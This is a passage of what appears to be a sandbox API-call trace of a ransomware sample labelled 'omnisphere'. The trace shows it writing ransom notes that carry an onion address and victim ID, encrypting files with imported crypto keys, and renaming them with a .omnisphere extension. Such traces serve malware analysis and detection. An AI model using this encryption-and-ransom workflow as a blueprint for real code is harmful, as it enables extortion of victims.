CloseHandle (hObject=0x288) returned 1 [0119.301] SetEndOfFile (hFile=0x28c) returned 1 [0119.301] FlushFileBuffers (hFile=0x28c) returned 1 [0119.311] CloseHandle (hObject=0x28c) returned 1 [0119.311] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9cb4lAWmT4epM 8gG.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.311] GetProcessHeap () returned 0x1600000 [0119.311] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16baf30 [0119.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.311] GetProcessHeap () returned 0x1600000 [0119.311] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2248 [0119.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2248, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.312] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.312] GetProcessHeap () returned 0x1600000 [0119.312] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16aff08 [0119.312] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16aff08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.312] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.312] GetProcessHeap () returned 0x1600000 [0119.312] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1560 [0119.312] PathCombineW (in: pszDest=0x16a1560, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.312] GetProcessHeap () returned 0x1600000 [0119.312] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b4570 [0119.312] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.312] WriteFile (in: hFile=0x28c, lpBuffer=0x16b4570*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b4570*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.313] CloseHandle (hObject=0x28c) returned 1 [0119.313] GetProcessHeap () returned 0x1600000 [0119.313] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16baf30 | out: hHeap=0x1600000) returned 1 [0119.313] GetProcessHeap () returned 0x1600000 [0119.313] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.313] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.314] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.314] CloseHandle (hObject=0x28c) returned 1 [0119.314] GetProcessHeap () returned 0x1600000 [0119.314] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.314] GetProcessHeap () returned 0x1600000 [0119.314] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a16d0 | out: hHeap=0x1600000) returned 1 [0119.314] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22fdb82b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22fdb82b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22fdb82b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x308, dwReserved0=0x0, dwReserved1=0xd3, cFileName="9Knv8Dbpe8QFyRb.flv.lnk", cAlternateFileName="9KNV8D~1.LNK")) returned 1 [0119.314] GetProcessHeap () returned 0x1600000 [0119.314] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a16d0 [0119.314] PathCombineW (in: pszDest=0x16a16d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="9Knv8Dbpe8QFyRb.flv.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9Knv8Dbpe8QFyRb.flv.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9Knv8Dbpe8QFyRb.flv.lnk" [0119.314] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9Knv8Dbpe8QFyRb.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9knv8dbpe8qfyrb.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.315] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=776) returned 1 [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.315] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] GetTickCount () returned 0x115dd0e [0119.316] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0119.317] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0119.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.317] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.317] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.317] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x308, lpName=0x0) returned 0x288 [0119.317] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x308) returned 0x1480000 [0119.318] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669230) returned 1 [0119.318] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0119.318] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.318] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.319] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.321] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.321] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.321] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0119.321] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.321] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.321] GetProcessHeap () returned 0x1600000 [0119.321] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c0) returned 0x16baf30 [0119.321] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9Knv8Dbpe8QFyRb.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9knv8dbpe8qfyrb.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9Knv8Dbpe8QFyRb.flv.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9knv8dbpe8qfyrb.flv.lnk.omnisphere")) returned 1 [0119.322] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9Knv8Dbpe8QFyRb.flv.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9Knv8Dbpe8QFyRb.flv.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9Knv8Dbpe8QFyRb.flv.lnk.omnisphere.id" [0119.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9Knv8Dbpe8QFyRb.flv.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9knv8dbpe8qfyrb.flv.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.326] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.327] CloseHandle (hObject=0x3c0) returned 1 [0119.328] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.328] CloseHandle (hObject=0x288) returned 1 [0119.328] SetEndOfFile (hFile=0x28c) returned 1 [0119.328] FlushFileBuffers (hFile=0x28c) returned 1 [0119.339] CloseHandle (hObject=0x28c) returned 1 [0119.339] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9Knv8Dbpe8QFyRb.flv.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.339] GetProcessHeap () returned 0x1600000 [0119.339] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16bb1f8 [0119.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.339] GetProcessHeap () returned 0x1600000 [0119.339] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2130 [0119.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 